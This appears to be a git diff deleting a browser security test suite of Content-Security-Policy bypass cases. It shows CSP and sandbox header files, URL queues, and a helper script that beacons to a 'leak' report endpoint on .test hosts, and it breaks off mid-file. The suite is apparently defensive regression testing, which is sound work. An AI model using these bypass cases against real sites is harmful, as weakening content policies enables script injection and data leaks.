a/experiments/pages/CSP/f1073952-script/leak.test/main/headers.json b/experiments/pages/CSP/f1073952-script/leak.test/main/headers.json deleted file mode 100644 index 0637a088..00000000 --- a/experiments/pages/CSP/f1073952-script/leak.test/main/headers.json +++ /dev/null @@ -1 +0,0 @@ -[] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952-script/leak.test/main/index.html b/experiments/pages/CSP/f1073952-script/leak.test/main/index.html deleted file mode 100644 index f25a5d43..00000000 --- a/experiments/pages/CSP/f1073952-script/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952-without-sandbox/a.test/main/headers.json b/experiments/pages/CSP/f1073952-without-sandbox/a.test/main/headers.json deleted file mode 100644 index cc57cae2..00000000 --- a/experiments/pages/CSP/f1073952-without-sandbox/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952-without-sandbox/a.test/main/index.html b/experiments/pages/CSP/f1073952-without-sandbox/a.test/main/index.html deleted file mode 100644 index 2a54e584..00000000 --- a/experiments/pages/CSP/f1073952-without-sandbox/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952-without-sandbox/leak.test/main/headers.json b/experiments/pages/CSP/f1073952-without-sandbox/leak.test/main/headers.json deleted file mode 100644 index 0637a088..00000000 --- a/experiments/pages/CSP/f1073952-without-sandbox/leak.test/main/headers.json +++ /dev/null @@ -1 +0,0 @@ -[] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952-without-sandbox/leak.test/main/index.html b/experiments/pages/CSP/f1073952-without-sandbox/leak.test/main/index.html deleted file mode 100644 index f84caf57..00000000 --- a/experiments/pages/CSP/f1073952-without-sandbox/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952/a.test/main/headers.json b/experiments/pages/CSP/f1073952/a.test/main/headers.json deleted file mode 100644 index cc57cae2..00000000 --- a/experiments/pages/CSP/f1073952/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952/a.test/main/index.html b/experiments/pages/CSP/f1073952/a.test/main/index.html deleted file mode 100644 index 5a788ab3..00000000 --- a/experiments/pages/CSP/f1073952/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952/leak.test/main/headers.json b/experiments/pages/CSP/f1073952/leak.test/main/headers.json deleted file mode 100644 index 0637a088..00000000 --- a/experiments/pages/CSP/f1073952/leak.test/main/headers.json +++ /dev/null @@ -1 +0,0 @@ -[] \ No newline at end of file diff --git a/experiments/pages/CSP/f1073952/leak.test/main/index.html b/experiments/pages/CSP/f1073952/leak.test/main/index.html deleted file mode 100644 index f25a5d43..00000000 --- a/experiments/pages/CSP/f1073952/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1073952/url_queue.txt b/experiments/pages/CSP/f1073952/url_queue.txt deleted file mode 100644 index 4d9cb965..00000000 --- a/experiments/pages/CSP/f1073952/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/f1073952/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1086999-img/a.test/main/headers.json b/experiments/pages/CSP/f1086999-img/a.test/main/headers.json deleted file mode 100644 index 41d4278a..00000000 --- a/experiments/pages/CSP/f1086999-img/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src *" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1086999-img/a.test/main/index.html b/experiments/pages/CSP/f1086999-img/a.test/main/index.html deleted file mode 100644 index 073678c9..00000000 --- a/experiments/pages/CSP/f1086999-img/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1086999-script/a.test/main/headers.json b/experiments/pages/CSP/f1086999-script/a.test/main/headers.json deleted file mode 100644 index 41d4278a..00000000 --- a/experiments/pages/CSP/f1086999-script/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src *" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1086999-script/a.test/main/index.html b/experiments/pages/CSP/f1086999-script/a.test/main/index.html deleted file mode 100644 index 38aaa4e3..00000000 --- a/experiments/pages/CSP/f1086999-script/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1086999/a.test/main/headers.json b/experiments/pages/CSP/f1086999/a.test/main/headers.json deleted file mode 100644 index b759ea04..00000000 --- a/experiments/pages/CSP/f1086999/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src * 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1086999/a.test/main/index.html b/experiments/pages/CSP/f1086999/a.test/main/index.html deleted file mode 100644 index 4326692f..00000000 --- a/experiments/pages/CSP/f1086999/a.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1086999/url_queue.txt b/experiments/pages/CSP/f1086999/url_queue.txt deleted file mode 100644 index 71d67a1c..00000000 --- a/experiments/pages/CSP/f1086999/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1086999/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1208559-script-src/a.test/main/headers.json b/experiments/pages/CSP/f1208559-script-src/a.test/main/headers.json deleted file mode 100644 index f2b4941f..00000000 --- a/experiments/pages/CSP/f1208559-script-src/a.test/main/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'none' 'unsafe-inline'" - }, - { - "key": "Service-Worker-Allowed", - "value": "/" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1208559-script-src/a.test/main/index.html b/experiments/pages/CSP/f1208559-script-src/a.test/main/index.html deleted file mode 100644 index 2792503b..00000000 --- a/experiments/pages/CSP/f1208559-script-src/a.test/main/index.html +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - diff --git a/experiments/pages/CSP/f1208559/a.test/main/headers.json b/experiments/pages/CSP/f1208559/a.test/main/headers.json deleted file mode 100644 index a48d94ff..00000000 --- a/experiments/pages/CSP/f1208559/a.test/main/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'; script-src 'none' 'unsafe-inline'" - }, - { - "key": "Service-Worker-Allowed", - "value": "/" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1208559/a.test/main/index.html b/experiments/pages/CSP/f1208559/a.test/main/index.html deleted file mode 100644 index eb14f522..00000000 --- a/experiments/pages/CSP/f1208559/a.test/main/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - diff --git a/experiments/pages/CSP/f1208559/url_queue.txt b/experiments/pages/CSP/f1208559/url_queue.txt deleted file mode 100644 index b66960dc..00000000 --- a/experiments/pages/CSP/f1208559/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1208559/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1223743/a.test/main/headers.json b/experiments/pages/CSP/f1223743/a.test/main/headers.json deleted file mode 100644 index daeee9c1..00000000 --- a/experiments/pages/CSP/f1223743/a.test/main/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'" - }, - { - "key": "Content-Type", - "value": "multipart/x-mixed-replace;boundary=boundary" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1223743/a.test/main/index.html b/experiments/pages/CSP/f1223743/a.test/main/index.html deleted file mode 100644 index 973788fb..00000000 --- a/experiments/pages/CSP/f1223743/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---boundary Content-type: text/html Page 1: - ---boundary Content-type: text/html Page 2: - ---boundary diff --git a/experiments/pages/CSP/f1223743/url_queue.txt b/experiments/pages/CSP/f1223743/url_queue.txt deleted file mode 100644 index 21780842..00000000 --- a/experiments/pages/CSP/f1223743/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1223743/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1296976/a.test/main/headers.json b/experiments/pages/CSP/f1296976/a.test/main/headers.json deleted file mode 100644 index dd65124c..00000000 --- a/experiments/pages/CSP/f1296976/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "sandbox allow-same-origin allow-scripts;" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1296976/a.test/main/index.html b/experiments/pages/CSP/f1296976/a.test/main/index.html deleted file mode 100644 index 527dac16..00000000 --- a/experiments/pages/CSP/f1296976/a.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ -click - - \ No newline at end of file diff --git a/experiments/pages/CSP/f1296976/url_queue.txt b/experiments/pages/CSP/f1296976/url_queue.txt deleted file mode 100644 index 48e10488..00000000 --- a/experiments/pages/CSP/f1296976/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1296976/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1312272/a.test/main/headers.json b/experiments/pages/CSP/f1312272/a.test/main/headers.json deleted file mode 100644 index c37a8183..00000000 --- a/experiments/pages/CSP/f1312272/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'; script-src 'unsafe-eval'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1312272/a.test/main/index.html b/experiments/pages/CSP/f1312272/a.test/main/index.html deleted file mode 100644 index de2ff32d..00000000 --- a/experiments/pages/CSP/f1312272/a.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - - diff --git a/experiments/pages/CSP/f1312272/url_queue.txt b/experiments/pages/CSP/f1312272/url_queue.txt deleted file mode 100644 index 85c295d9..00000000 --- a/experiments/pages/CSP/f1312272/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1312272/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1316826/leak.test/main/headers.json b/experiments/pages/CSP/f1316826/leak.test/main/headers.json deleted file mode 100644 index 04c69616..00000000 --- a/experiments/pages/CSP/f1316826/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'; script-src 'nonce-123' 'strict-dynamic'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1316826/leak.test/main/index.html b/experiments/pages/CSP/f1316826/leak.test/main/index.html deleted file mode 100644 index f93088cd..00000000 --- a/experiments/pages/CSP/f1316826/leak.test/main/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1316826/url_queue.txt b/experiments/pages/CSP/f1316826/url_queue.txt deleted file mode 100644 index 8397f305..00000000 --- a/experiments/pages/CSP/f1316826/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -http://leak.test/CSP/f1316826/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1377426-frame/leak.test/main/headers.json b/experiments/pages/CSP/f1377426-frame/leak.test/main/headers.json deleted file mode 100644 index e0238e99..00000000 --- a/experiments/pages/CSP/f1377426-frame/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "sandbox allow-scripts; frame-src 'none';" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1377426-frame/leak.test/main/index.html b/experiments/pages/CSP/f1377426-frame/leak.test/main/index.html deleted file mode 100644 index 7749bb57..00000000 --- a/experiments/pages/CSP/f1377426-frame/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1377426-img/leak.test/main/headers.json b/experiments/pages/CSP/f1377426-img/leak.test/main/headers.json deleted file mode 100644 index b9911ec7..00000000 --- a/experiments/pages/CSP/f1377426-img/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "sandbox allow-scripts; img-src 'none';" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1377426-img/leak.test/main/index.html b/experiments/pages/CSP/f1377426-img/leak.test/main/index.html deleted file mode 100644 index 40f9cb18..00000000 --- a/experiments/pages/CSP/f1377426-img/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1377426/leak.test/main/headers.json b/experiments/pages/CSP/f1377426/leak.test/main/headers.json deleted file mode 100644 index e42e1e3b..00000000 --- a/experiments/pages/CSP/f1377426/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "sandbox allow-scripts; script-src 'none';" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1377426/leak.test/main/index.html b/experiments/pages/CSP/f1377426/leak.test/main/index.html deleted file mode 100644 index dd4afa87..00000000 --- a/experiments/pages/CSP/f1377426/leak.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1377426/url_queue.txt b/experiments/pages/CSP/f1377426/url_queue.txt deleted file mode 100644 index 49b100e7..00000000 --- a/experiments/pages/CSP/f1377426/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/f1377426/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1396320/a.test/main/headers.json b/experiments/pages/CSP/f1396320/a.test/main/headers.json deleted file mode 100644 index 928de394..00000000 --- a/experiments/pages/CSP/f1396320/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "sandbox allow-scripts allow-modals;" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1396320/a.test/main/index.html b/experiments/pages/CSP/f1396320/a.test/main/index.html deleted file mode 100644 index f1c02a1c..00000000 --- a/experiments/pages/CSP/f1396320/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ - - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/f1396320/url_queue.txt b/experiments/pages/CSP/f1396320/url_queue.txt deleted file mode 100644 index 0515b915..00000000 --- a/experiments/pages/CSP/f1396320/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1396320/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1416045/a.test/main/headers.json b/experiments/pages/CSP/f1416045/a.test/main/headers.json deleted file mode 100644 index e13f395f..00000000 --- a/experiments/pages/CSP/f1416045/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Type", - "value": "multipart/x-mixed-replace;boundary=boundary" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1416045/a.test/main/index.html b/experiments/pages/CSP/f1416045/a.test/main/index.html deleted file mode 100644 index b31ff97b..00000000 --- a/experiments/pages/CSP/f1416045/a.test/main/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---boundary Content-type: text/html Content-Security-Policy: default-src 'self' -Page 1: - ---boundary Content-type: text/html Content-Security-Policy: default-src 'self' - - -Page 2: - ---boundary diff --git a/experiments/pages/CSP/f1416045/url_queue.txt b/experiments/pages/CSP/f1416045/url_queue.txt deleted file mode 100644 index 5f24802c..00000000 --- a/experiments/pages/CSP/f1416045/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1416045/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1422924/a.test/main/headers.json b/experiments/pages/CSP/f1422924/a.test/main/headers.json deleted file mode 100644 index 444fba68..00000000 --- a/experiments/pages/CSP/f1422924/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1422924/a.test/main/index.html b/experiments/pages/CSP/f1422924/a.test/main/index.html deleted file mode 100644 index cbdbb92c..00000000 --- a/experiments/pages/CSP/f1422924/a.test/main/index.html +++ /dev/null @@ -1,9 +0,0 @@ - - - - - diff --git a/experiments/pages/CSP/f1422924/url_queue.txt b/experiments/pages/CSP/f1422924/url_queue.txt deleted file mode 100644 index 8c876bc4..00000000 --- a/experiments/pages/CSP/f1422924/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1422924/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1432358/a.test/main/index.html b/experiments/pages/CSP/f1432358/a.test/main/index.html deleted file mode 100644 index 812dd76d..00000000 --- a/experiments/pages/CSP/f1432358/a.test/main/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - - - - - - - - diff --git a/experiments/pages/CSP/f1432358/url_queue.txt b/experiments/pages/CSP/f1432358/url_queue.txt deleted file mode 100644 index 6fd62d18..00000000 --- a/experiments/pages/CSP/f1432358/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -http://a.test/CSP/f1432358/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1441468/leak.test/main/headers.json b/experiments/pages/CSP/f1441468/leak.test/main/headers.json deleted file mode 100644 index faf7b389..00000000 --- a/experiments/pages/CSP/f1441468/leak.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self';script-src 'none';object-src data:;img-src 'none';frame-src data:" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1441468/leak.test/main/index.html b/experiments/pages/CSP/f1441468/leak.test/main/index.html deleted file mode 100644 index 140e04e9..00000000 --- a/experiments/pages/CSP/f1441468/leak.test/main/index.html +++ /dev/null @@ -1,8 +0,0 @@ - - - - - - diff --git a/experiments/pages/CSP/f1441468/url_queue.txt b/experiments/pages/CSP/f1441468/url_queue.txt deleted file mode 100644 index b354ba9c..00000000 --- a/experiments/pages/CSP/f1441468/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://leak.test/CSP/f1441468/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1457100/a.test/main/headers.json b/experiments/pages/CSP/f1457100/a.test/main/headers.json deleted file mode 100644 index a13da87d..00000000 --- a/experiments/pages/CSP/f1457100/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src none;" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1457100/a.test/main/index.html b/experiments/pages/CSP/f1457100/a.test/main/index.html deleted file mode 100644 index 883d83d4..00000000 --- a/experiments/pages/CSP/f1457100/a.test/main/index.html +++ /dev/null @@ -1,4 +0,0 @@ - - diff --git a/experiments/pages/CSP/f1457100/url_queue.txt b/experiments/pages/CSP/f1457100/url_queue.txt deleted file mode 100644 index 75e4940f..00000000 --- a/experiments/pages/CSP/f1457100/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1457100/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1460538-style-src/a.test/main/headers.json b/experiments/pages/CSP/f1460538-style-src/a.test/main/headers.json deleted file mode 100644 index ea8970d9..00000000 --- a/experiments/pages/CSP/f1460538-style-src/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "style-src 'none'; script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1460538-style-src/a.test/main/index.html b/experiments/pages/CSP/f1460538-style-src/a.test/main/index.html deleted file mode 100644 index 76a85996..00000000 --- a/experiments/pages/CSP/f1460538-style-src/a.test/main/index.html +++ /dev/null @@ -1,19 +0,0 @@ - - - -

hello

- diff --git a/experiments/pages/CSP/f1460538/a.test/main/headers.json b/experiments/pages/CSP/f1460538/a.test/main/headers.json deleted file mode 100644 index 09b7d177..00000000 --- a/experiments/pages/CSP/f1460538/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self'; script-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1460538/a.test/main/index.html b/experiments/pages/CSP/f1460538/a.test/main/index.html deleted file mode 100644 index 85f18943..00000000 --- a/experiments/pages/CSP/f1460538/a.test/main/index.html +++ /dev/null @@ -1,19 +0,0 @@ - - - -

hello

- diff --git a/experiments/pages/CSP/f1460538/url_queue.txt b/experiments/pages/CSP/f1460538/url_queue.txt deleted file mode 100644 index f024a2df..00000000 --- a/experiments/pages/CSP/f1460538/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1460538/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1469150/a.test/helper/headers.json b/experiments/pages/CSP/f1469150/a.test/helper/headers.json deleted file mode 100644 index 1f87eb33..00000000 --- a/experiments/pages/CSP/f1469150/a.test/helper/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "status", - "value": "302" - }, - { - "key": "Location", - "value": "https://leak.test/dummy" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1469150/a.test/helper/index.html b/experiments/pages/CSP/f1469150/a.test/helper/index.html deleted file mode 100644 index e69de29b..00000000 diff --git a/experiments/pages/CSP/f1469150/a.test/main/headers.json b/experiments/pages/CSP/f1469150/a.test/main/headers.json deleted file mode 100644 index fae11d6a..00000000 --- a/experiments/pages/CSP/f1469150/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'nonce-foobar' 'unsafe-inline' 'unsafe-eval'; report-uri /report/?leak=f1469150" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1469150/a.test/main/index.html b/experiments/pages/CSP/f1469150/a.test/main/index.html deleted file mode 100644 index 5157eacc..00000000 --- a/experiments/pages/CSP/f1469150/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f1469150/url_queue.txt b/experiments/pages/CSP/f1469150/url_queue.txt deleted file mode 100644 index 9da68beb..00000000 --- a/experiments/pages/CSP/f1469150/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1469150/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1505412/a.test/helper/headers.json b/experiments/pages/CSP/f1505412/a.test/helper/headers.json deleted file mode 100644 index bff73efe..00000000 --- a/experiments/pages/CSP/f1505412/a.test/helper/headers.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "key": "status", - "value": "302" - }, - { - "key": "Location", - "value": "https://leak.test/dummy" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1505412/a.test/helper/index.html b/experiments/pages/CSP/f1505412/a.test/helper/index.html deleted file mode 100644 index e69de29b..00000000 diff --git a/experiments/pages/CSP/f1505412/a.test/main/headers.json b/experiments/pages/CSP/f1505412/a.test/main/headers.json deleted file mode 100644 index 24d89289..00000000 --- a/experiments/pages/CSP/f1505412/a.test/main/headers.json +++ /dev/null @@ -1,4 +0,0 @@ -[{ - "key": "Content-Security-Policy-Report-Only", - "value": "script-src 'nonce-foobar'; report-uri /report/?leak=f1505412" -}] \ No newline at end of file diff --git a/experiments/pages/CSP/f1505412/a.test/main/index.html b/experiments/pages/CSP/f1505412/a.test/main/index.html deleted file mode 100644 index a41b1164..00000000 --- a/experiments/pages/CSP/f1505412/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/f1505412/url_queue.txt b/experiments/pages/CSP/f1505412/url_queue.txt deleted file mode 100644 index 639ec6c4..00000000 --- a/experiments/pages/CSP/f1505412/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1505412/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1542194/a.test/helper/index.html b/experiments/pages/CSP/f1542194/a.test/helper/index.html deleted file mode 100644 index f8fecced..00000000 --- a/experiments/pages/CSP/f1542194/a.test/helper/index.html +++ /dev/null @@ -1,3 +0,0 @@ - diff --git a/experiments/pages/CSP/f1542194/a.test/main/headers.json b/experiments/pages/CSP/f1542194/a.test/main/headers.json deleted file mode 100644 index 591528bb..00000000 --- a/experiments/pages/CSP/f1542194/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'self' 'unsafe-inline'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1542194/a.test/main/index.html b/experiments/pages/CSP/f1542194/a.test/main/index.html deleted file mode 100644 index 07dcad0d..00000000 --- a/experiments/pages/CSP/f1542194/a.test/main/index.html +++ /dev/null @@ -1,12 +0,0 @@ - - - diff --git a/experiments/pages/CSP/f1542194/leak.test/helper2/index.html b/experiments/pages/CSP/f1542194/leak.test/helper2/index.html deleted file mode 100644 index 6991197c..00000000 --- a/experiments/pages/CSP/f1542194/leak.test/helper2/index.html +++ /dev/null @@ -1 +0,0 @@ -Nothing to see here \ No newline at end of file diff --git a/experiments/pages/CSP/f1548385/a.test/helper/index.js b/experiments/pages/CSP/f1548385/a.test/helper/index.js deleted file mode 100644 index da3ef5ca..00000000 --- a/experiments/pages/CSP/f1548385/a.test/helper/index.js +++ /dev/null @@ -1 +0,0 @@ -document.location.href = "https://a.test/report/?leak=f1548385"; diff --git a/experiments/pages/CSP/f1548385/a.test/main/index.html b/experiments/pages/CSP/f1548385/a.test/main/index.html deleted file mode 100644 index 12431819..00000000 --- a/experiments/pages/CSP/f1548385/a.test/main/index.html +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/f1548385/url_queue.txt b/experiments/pages/CSP/f1548385/url_queue.txt deleted file mode 100644 index e9617129..00000000 --- a/experiments/pages/CSP/f1548385/url_queue.txt +++ /dev/null @@ -1,2 +0,0 @@ -https://a.test/CSP/f1548385/main -https://a.test/report/?leak=baseline diff --git a/experiments/pages/CSP/f1550414/a.test/helper/index.html b/experiments/pages/CSP/f1550414/a.test/helper/index.html deleted file mode 100644 index 5aeead71..00000000 --- a/experiments/pages/CSP/f1550414/a.test/helper/index.html +++ /dev/null @@ -1,4 +0,0 @@ - diff --git a/experiments/pages/CSP/f1550414/a.test/main/headers.json b/experiments/pages/CSP/f1550414/a.test/main/headers.json deleted file mode 100644 index df5a7d3a..00000000 --- a/experiments/pages/CSP/f1550414/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "script-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f1550414/a.test/main/index.html b/experiments/pages/CSP/f1550414/a.test/main/index.html deleted file mode 100644 index dfe02ef8..00000000 --- a/experiments/pages/CSP/f1550414/a.test/main/index.html +++ /dev/null @@ -1,2 +0,0 @@ - - - - \ No newline at end of file diff --git a/experiments/pages/CSP/f774136/a.test/main/headers.json b/experiments/pages/CSP/f774136/a.test/main/headers.json deleted file mode 100644 index 2e00833a..00000000 --- a/experiments/pages/CSP/f774136/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f774136/a.test/main/index.html b/experiments/pages/CSP/f774136/a.test/main/index.html deleted file mode 100644 index c0f06a68..00000000 --- a/experiments/pages/CSP/f774136/a.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/experiments/pages/CSP/f784158/a.test/main/headers.json b/experiments/pages/CSP/f784158/a.test/main/headers.json deleted file mode 100644 index 2e00833a..00000000 --- a/experiments/pages/CSP/f784158/a.test/main/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f784158/a.test/main/index.html b/experiments/pages/CSP/f784158/a.test/main/index.html deleted file mode 100644 index 3ce5187b..00000000 --- a/experiments/pages/CSP/f784158/a.test/main/index.html +++ /dev/null @@ -1,5 +0,0 @@ - - diff --git a/experiments/pages/CSP/f886164/a.test/helper/headers.json b/experiments/pages/CSP/f886164/a.test/helper/headers.json deleted file mode 100644 index 2e00833a..00000000 --- a/experiments/pages/CSP/f886164/a.test/helper/headers.json +++ /dev/null @@ -1,6 +0,0 @@ -[ - { - "key": "Content-Security-Policy", - "value": "default-src 'none'" - } -] \ No newline at end of file diff --git a/experiments/pages/CSP/f886164/a.test/helper/index.html b/experiments/pages/CSP/f886164/a.test/helper/index.html deleted file mode 100644 index 5c8633fa..00000000 --- a/experiments/pages/CSP/f886164/a.test/helper/index.html +++ /dev/null @@ -1 +0,0 @@ - diff --git a/experiments/pages/CSP/f886164/a.test/main/index.html b/experiments/pages/CSP/f886164/a.test/main/index.html deleted file mode 100644 index 201fc873..00000000 --- a/experiments/pages/CSP/f886164/a.test/main/index.html +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/experiments/pages/CSP/f908824/a.test/main/headers.json b/experiments/pages/CSP/f908824/a.test/main/headers.json deleted file mode 100644 